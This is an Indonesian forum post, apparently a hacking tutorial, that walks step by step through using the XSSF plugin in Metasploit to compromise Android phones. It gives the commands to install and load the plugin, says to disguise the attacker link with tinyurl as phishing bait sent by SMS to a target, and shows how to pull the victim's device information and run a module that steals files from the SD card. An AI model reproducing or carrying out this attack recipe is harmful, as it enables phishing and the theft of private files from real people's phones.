[sonyrimawan]

halo semua selamat pagi
di minggu yang cerah ini saya akan nyepam dikit. mohon jangan di masukin hati kalau ada yang kurang berkenan nanti ya :-bd
kalau misalnya sudah pernah ada yang posting saya minta maaf ya, jujur pada saat saya melakukan pencarian di forum tidak di temukan thread yang sama.

Spoiler! :

kalau begitu langsung saja kita buka kali linux, backtrack, bugtraq, atau apapun yang penting bisa di pasang msfconsole ya.

langsung download dulu xssf pada directory msfconsolenya.

svn export http://xssf.googlecode.com/svn/trunk ./ --force

Spoiler! :

setelah itu kita jalankan metasploit kita \m/

msfconsole
dan isikan
load xssf Port=80 Uri=/Xssf/ Public=true Mode=Verbose

Spoiler! :

lalu masukan

xssf_urls

maka akan muncul penampakan seperti ini

Spoiler! :

di atas itu adalah beberapa link yang merupakan ip dari attacker yang bisa di sembunyikan dengan tinyurl dll sebagai umpan pishing dan xssf home attacker dimana attacker bisa melihat log dari korban.

sekarang lihat msfconsole kita, dan copy link di sebelah [+] XSSF logs page dan paste ke web browser kesayangan anda.

Spoiler! :

maka akan muncul pemandangan seperti itu.

sekarang lihat lah bagian [+] XSSF test page dan copy link di sampingnya, lalu paste kirimkan ke android target anda lewat sms atau apapun. bisa di tutup menggunakan tinyurl atau semacamnya.
karena saya tidak punya android, maka saya pake vbox saja ya =))

Spoiler! :

pada saat korban membuka link tersebut maka koban akan menyaksikan pemandangan seperti ini

Spoiler! :

dan kita akan mendapatkan pemandangan seperti ini

Spoiler! :

new victim registered. tandanya korban sudah tersambung dengan msfconsole kita, sekarang kita buka browser milik kita yang sudah di buka link xssf tadi. maka akan muncul log dari si korban

Spoiler! :

tinggal klik saja tulisan victimnya.

sekarang coba saja kita ketik

xssf_information 1

tadaaa. nongol dah tuh infonya si korban.

Spoiler! :

sekarang android sudah resmi kena exploit, dan sekarang giliran kita untuk berkreasi mau di apakan android tersebut.
dengan:

search auxiliary/xssf

mau curi filenya?
bisa dengan memilih:

use auxiliary/xssf/public/android/steal_sdcard_file

Spoiler! :

dan run

Spoiler! :

dan secara otomatis android korban mengaksesnya dan nantinya akan muncul di log browser kita.

Spoiler! :

tapi berhubung android saya tidak ada isinya karena hanya virtual, jadi kagak muncul apa".

silahkan di kembangkan sendiri dan bila ada yang lebih asik, silahkan di postingkan ke forum.

mohon maaf kalau ada yang kurang berkenan. hanya share saja semoga bermanfaat \m/